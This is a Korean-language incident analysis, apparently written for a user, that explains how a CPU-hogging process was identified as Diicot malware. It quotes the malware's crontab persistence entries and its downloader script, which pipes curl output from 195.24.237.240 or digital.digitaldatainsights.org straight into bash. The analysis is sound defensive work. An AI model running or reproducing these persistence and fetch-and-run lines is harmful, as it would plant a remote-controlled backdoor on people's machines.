제가 시스템에서 어떤 실마리를 찾았고, 어떠한 분석 흐름과 기술적 근거를 바탕으로 이를 **"Diicot 멀웨어"**라고 최종 판단했는지 그 수사 과정을 상세히 적어드립니다.

1단계. 실마리 찾기: 비정상적인 CPU 사용량 점검

사용자분께서 top 명령어에서 자원을 엄청나게 먹는 프로세스가 있다고 제보하셔서, 구체적인 프로세스 목록을 정렬해 보았습니다.

• 관찰 내용: 사용자 user1 권한으로 실행된 프로세스 중 **CPU 점유율이 98.7%**에 달하는 프로세스가 잡혔습니다.

• 비정상 징후 1: 프로세스의 실행 명령어가 **85423a63*이라는 무작위 16진수 문자열 형태였습니다. (정상적인 프로그램은 이런 무작위 식별자를 프로세스 이름으로 쓰지 않습니다.)

• 비정상 징후 2: 프로세스의 실제 실행 파일 경로([])를 조회해 보니 **/var/tmp/1d565659/85423a63*이었습니다. 누구나 쓰기 권한이 있는 임시 폴더인 /var/tmp 밑에 이상한 해시값 폴더를 만들어 실행하는 것은 전형적인 악성코드의 특징입니다.

  exe

2단계. 악성 크론탭(crontab) 분석을 통한 "지속성" 확인

리눅스 시스템은 프로세스가 죽어도 크론탭에 등록해 두면 주기적으로 자동 재실행됩니다. 이 장부([user1 crontab])를 열어 보았습니다.

• 관찰 내용:

  bash
  @reboot/var/tmp/1d565659/./5d68b3e5 >/dev/null 2>&1 & disown
  * * * * * /var/tmp/1d565659/./5d68b3e5 > /dev/null 2>&1 & disown
  */30 * * * * /var/tmp/1d565659/./.c > /dev/null 2>&1 & disown
  

• 판단 근거:

  • 재부팅 시(@reboot), 그리고 **매 분(* * * *)**마다 동일한 임시 폴더 내의 바이너리(5d68b3e5)를 실행하도록 중복 도배되어 있었습니다.
  • 실행 흔적이나 에러가 로그에 남지 않도록 표준 출력과 에러를 모두 무음 처리(> /dev/null 2>&1)하고 쉘 소유권을 분리(disown)하는 등 은폐 기법이 노골적으로 사용되었습니다.

3단계. 악성 행위의 결정적 증거: 외부 다운로더 스크립트 발견

크론탭에 등록된 [.c] 셸 스크립트 파일을 열어서 실제 코드를 검증했습니다.

• 스크립트 코드:

  bash
  if curl-s--connect-timeout15195.24.237.240/.x/black3;then
      curl-s195.24.237.240/.x/black3 | bash >/dev/null 2>&1
  else
      curl-s--connect-timeout15digital.digitaldatainsights.org/.x/black3 | bash >/dev/null 2>&1
  fi
  

• 판단 근거:

  • 이 코드는 30분마다 외부의 특정 공인 IP(195.24.237.240) 또는 도메인(digital.digitaldatainsights.org)에 비밀리에 연결을 시도합니다.
  • 그곳에 등록되어 있는 black3라는 셸 스크립트를 다운로드해 **보안 검증도 거치지 않고 사용자 권한으로 즉시 실행(| bash)**시키는 전형적인 원격 다운로더 백도어였습니다.